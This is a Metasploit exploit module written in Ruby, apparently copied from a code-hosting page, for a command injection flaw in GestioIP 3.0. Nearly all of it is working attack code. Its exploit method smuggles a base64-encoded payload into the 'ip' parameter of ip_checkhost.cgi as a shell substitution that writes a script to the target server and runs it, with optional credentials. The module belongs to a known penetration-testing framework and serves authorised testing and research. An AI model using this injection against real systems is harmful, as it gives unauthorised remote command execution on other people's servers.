94 lines
2.8 KiB
Ruby
94 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GestioIP Remote Command Execution',
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'Description' => %q{
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This module exploits a command injection flaw to create a shell script
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on the filesystem and execute it. If GestioIP is configured to use no authentication,
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no password is required to exploit the vulnerability. Otherwise, an authenticated
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user is required to exploit.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bperry' #Initial Discovery and metasploit module
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],
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'References' =>
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[
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[ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch
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[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/03/gestioip-authenticated-remote-command-execution-module' ]
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],
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'Payload' =>
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{
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'Space' => 475, # not a lot of room
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'DisableNops' => true,
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'BadChars' => "",
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},
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic GestioIP 3.0', { }]],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 4 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
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OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']),
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OptString.new('PASSWORD', [false, 'The password to auth with', nil])
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], self.class)
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end
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def user
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datastore['USERNAME']
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end
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def pass
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datastore['PASSWORD']
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end
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def use_auth
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!(pass.nil? or pass.empty?)
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end
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def exploit
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pay = Rex::Text.encode_base64(payload.encoded)
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file = Rex::Text.rand_text_alpha(8)
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options = {
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'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
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'encode_params' => false,
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'vars_get' => {
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'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004",
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'hostname' => "fds",
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'client_id' => "1",
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'ip_version' => ""
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}
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}
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if use_auth
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options.merge!('authorization' => basic_auth(user,pass))
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end
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res = send_request_cgi(options)
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if res and res.code == 401
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD")
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end
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end
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end
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